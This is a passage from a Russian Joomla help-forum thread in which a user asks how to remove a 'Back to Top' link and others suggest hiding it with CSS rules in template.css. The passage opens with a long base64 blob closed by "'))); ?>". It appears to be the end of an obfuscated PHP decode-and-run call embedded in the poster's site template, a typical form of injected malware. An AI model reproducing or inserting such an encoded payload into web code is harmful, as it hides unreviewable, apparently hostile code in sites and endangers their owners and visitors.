LZsRpPHtBn72cVvD8ms1ljykH1iA6EiRx7ulpPJ3p3E3x2N3ms/VzDjsAeIdgHsMke5gr6mgLSZ7082fOXxQ4pQY5WiQ+bGlxEbbt3oOEiXyFCzi3aWA1K6fGqyOHfoHmJSJ9DZCb+0bJnsAqo29kdo1kpqjGLFNvclOR48taCKrPa33u5Gwn7rwMANrHOk7JIHYxTQz4OBfftr28oe4SeT8PnnuAy9Qx4nIsq6S8dRciVWwg5ngFx5XalC0yQnBnF8+7jGa1ZeGej6eGlzF4rWvdcA/DiJ8jawfQGX0Xx6A5FzEVE+WUZzWGWJR6oZm4Rx6RjPU4GXvgVDFnZabvn1NNwpnhx3/c6gPzgLQ4o1Z8XluQeVwkjEq/JpCZO1RqJhdRjk3BLZNuIDXovBmIGrIhEa/9lQxmY9/VYWTTdhpbKcmre9kydW/Ut5MfIyycpL5Y/9p0dUvJb4xvJCqNfr01SvpO2jonzWwIISdLEsqVRiHfto39eyoQf3MTcCwguBdq1t7Y7kVugvUT8WUQfj5/fMDmwqUUi02K+39iQdI4ACZGuVT7n7kzcEfYEyhzhn2AaABRKVGsk4IMq1OYgv7JAYHzI/aC1yicVF9mouZWz/ZdzzCfbP8PivvDuQ+pypR6b5+GnBH7xkH1OK3YZ/S//LlLntLMeyaJvC+ZT8M7WPoouFl2kFd3JHoUpbJrKk31+J7Bu32y6drN5BGjul0XZrCZ/VznYdWP4Q1KDpE/HyztpS2/o+p+5j8vFA7RjA2JvESTqB9g9U9wl2k52tW2K2wL4BecHuz3Fq1JZPp59fKSiMrgMZC9qN0xLbEniH0QQIIt9jXyl0oEF93zphBZw3A2ru85Hzsa7eoYd17vkBydwT30htpzNxREKCYKBmqsE+2XaBzmjLCo6c6VyHOeHVHokJW3KiIQehSILtbhLqEY0OCajmJfAGrGnAqFmcgWvrzPW3+x3Ffbwihsk56VFEJMOBJ6jpUTYVdvEPnOYvlsY4LkBQVjECvBj6IP7yuWczEl/xUobIH7DV9MxiRs7CEKLf60JURTQ/dv67vZBxM+H7fr/4kXNgXrYWd4vGTAtHcmgj+9I2+VIhn2ee6Ly8Fvfxp3ZykVT7oF/EqbfZhMhaArh2sfky8Wme5Ooh1FVKu80jSYDZO0HtkQgAmznoJVPQfgeystVRozfHIR5VkvOaOY8EzOpkv2TQTA3QXlf/g+Y8T0/6dhozRD6/wrCFE2XEN44o9iwbEU2I6fbQy6O1rbEQOPvAOGX/Oxi8Ozuzrn4LpDERApGZ/fNNjp8Cd/Z37knOFwbytyqtXthjuJMWlQyC74+O+HGfdaoFR3LPviAhJmMxUcomSA2eb9ye9wnwBS9sXBfxITJZoMyWISNXybtJYAe8RfqJKsVg8oV1gVjgEKblBQSHTJv6Z8cGRcDf81q8ZfBZ5WbGN+KisHRzWkE6zWRLu3pQyg9Dr+3OX0W1ZbEFi2jb2Yk5QUcbdRVjp+T4aOyPF2XpxBqh2MOSFXWl+uW8qWsSetmg93hNNDEcHV5RndP7fAav8gcEauA0iy3c7KtEHSR83nGdly9knRlNSV7+RSc1375BCTydR3hhr4W1KmRch8Hm/awxR73ULBeOGMbc+iqVV7C12BMgTb0RwXe8e6lDxX8iLWEZtR369ngcAdIEykVukgDJnUDthAq/6Yr5mmSfR7b5nLtMxHMCr1pAJOfoRiC24rkchNpr0JR+7ysG9rDYzs8koflZ5yhfL+/PFZUGdFj1Y8FJ8RjT88TR54iNHu8I50AfKaBtfJapxEmVXzYB03JmK4SZ1/t6+YKfLiT9xfebNqeGYfqPJ1bzoVcNazIcLyMW+FogiL8oCFAkCGAwCAL07xupf//zzz///Nc//v7PX3//Dw=='))); ?>

</body>
</html>
Если помог - поставте "плюс". Вам ничего не стоит, а мне приятно.
*

dynamit

  • Завсегдатай
  • 1744
  • 265 / 0
  • Winter Is Coming
Re: Как убрать с сайта ссылку "Наверх"?
« Ответ #1 : 03.04.2011, 12:10:35 »
посмотрите в настройках шаблона. что-то типа GO TOP.
ТАМ ГДЕ ТЫ НИЧЕГО НЕ МОЖЕШЬ, ТЫ НЕ ДОЛЖЕН НИЧЕГО ХОТЕТЬ
==========================================================
Сайты на Joomla!. Верстка. Консультации.  ||  Яндекс уже не ищет, он уже продает (с)  ||    Создание шаблона для Joomla 2.5
*

Taatshi

  • Гуру
  • 5258
  • 481 / 2
  • Верстаем и кодим. Обращайтесь ;)
Re: Как убрать с сайта ссылку "Наверх"?
« Ответ #2 : 03.04.2011, 14:11:23 »
В файл  http://www.tobtovar.ru/templates/colorful/css/template.css  в строку 1143

вставляем

visibility: hidden;

Было:
Код
#back-to-top a, #back-to-top a:link, #back-to-top a:visited (линия 1143)
{
background-color: transparent;
background-image: url("../images/back_to_top.gif");
background-repeat: no-repeat;
background-attachment: scroll;
background-position: left top;
background-clip: border-box;
background-origin: padding-box;
background-size: auto auto;
padding-left: 20px;
height: 17px;
}

Стало:

Код
#back-to-top a, #back-to-top a:link, #back-to-top a:visited (линия 1143)
{
background-color: transparent;
background-image: url("../images/back_to_top.gif");
background-repeat: no-repeat;
background-attachment: scroll;
background-position: left top;
background-clip: border-box;
background-origin: padding-box;
background-size: auto auto;
padding-left: 20px;
height: 17px;
visibility: hidden;
}
« Последнее редактирование: 03.04.2011, 14:18:00 от Taatshi »
ВЕРСТКА, САЙТЫ ПОД КЛЮЧ, УДАЛЕНИЕ ВИРУСОВ, МИГРАЦИЯ НА JOOMLA 3, ОБНОВЛЕНИЕ  |  ОТЗЫВЫ 
Связь: telegram - Taatshi, почта - Taatshi на яндексе, Skype - Taatshi
*

NightGuard

  • Живу я здесь
  • 2927
  • 378 / 7
  • вжжж-вжжж
Re: Как убрать с сайта ссылку "Наверх"?
« Ответ #3 : 03.04.2011, 14:20:09 »
http://www.tobtovar.ru/templates/colorful/css/template.css  строка: 1139
Код
#back-to-top {
    margin-top: 10px;
}

Добавьте display: none; , получиться должно вот так:
Код
#back-to-top {
    display: none;
    margin-top: 10px;
}

Taatshi, а не проще весь блок убрать? ;)
Идеология сверхпотребления более опасна для человечества, чем идеология гитлеровского тоталитаризма
*

Taatshi

  • Гуру
  • 5258
  • 481 / 2
  • Верстаем и кодим. Обращайтесь ;)
Re: Как убрать с сайта ссылку "Наверх"?
« Ответ #4 : 03.04.2011, 14:49:39 »
Taatshi, а не проще весь блок убрать? ;)

Упс... Проглядела :o  Пардон   ^-^
« Последнее редактирование: 03.04.2011, 14:57:46 от Taatshi »
ВЕРСТКА, САЙТЫ ПОД КЛЮЧ, УДАЛЕНИЕ ВИРУСОВ, МИГРАЦИЯ НА JOOMLA 3, ОБНОВЛЕНИЕ  |  ОТЗЫВЫ 
Связь: telegram - Taatshi, почта - Taatshi на яндексе, Skype - Taatshi
*

kisBoss

  • Захожу иногда
  • 449
  • 36 / 0
  • ник Tobol
Re: Как убрать с сайта ссылку "Наверх"?
« Ответ #5 : 05.04.2011, 19:36:06 »
Спасибо Вам всем за участие! Буду пробывать.
Если помог - поставте "плюс". Вам ничего не стоит, а мне приятно.
*

kisBoss

  • Захожу иногда
  • 449
  • 36 / 0
  • ник Tobol
Re: Как убрать с сайта ссылку "Наверх"?
« Ответ #6 : 05.04.2011, 20:13:25 »
http://www.tobtovar.ru/templates/colorful/css/template.css  строка: 1139
Код
#back-to-top {
    margin-top: 10px;
}

Добавьте display: none; , получиться должно вот так:
Код
#back-to-top {
    display: none;
    margin-top: 10px;
}

Taatshi, а не проще весь блок убрать? ;)

Спасибо большое все получилось! Сам уже все забыл как делать.
Если помог - поставте "плюс". Вам ничего не стоит, а мне приятно.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Как сделать резиновой центральную чать сайта?

Автор genkey

Ответов: 8
Просмотров: 5458
Последний ответ 28.05.2016, 10:45:37
от vipiusss
Изменить шаблон сайта

Автор Marsello88

Ответов: 12
Просмотров: 2376
Последний ответ 19.08.2015, 12:44:13
от vipiusss
На сайте тольк текст, не отображается шаблон сайта и админки

Автор jso

Ответов: 6
Просмотров: 3780
Последний ответ 14.09.2014, 08:17:08
от draff
Вставка в шапку сайта меню

Автор avaron

Ответов: 1
Просмотров: 1562
Последний ответ 11.09.2014, 10:34:55
от kik84
Как найти и убрать чужие ссылки

Автор slalom

Ответов: 13
Просмотров: 5098
Последний ответ 27.08.2014, 22:24:03
от Eterno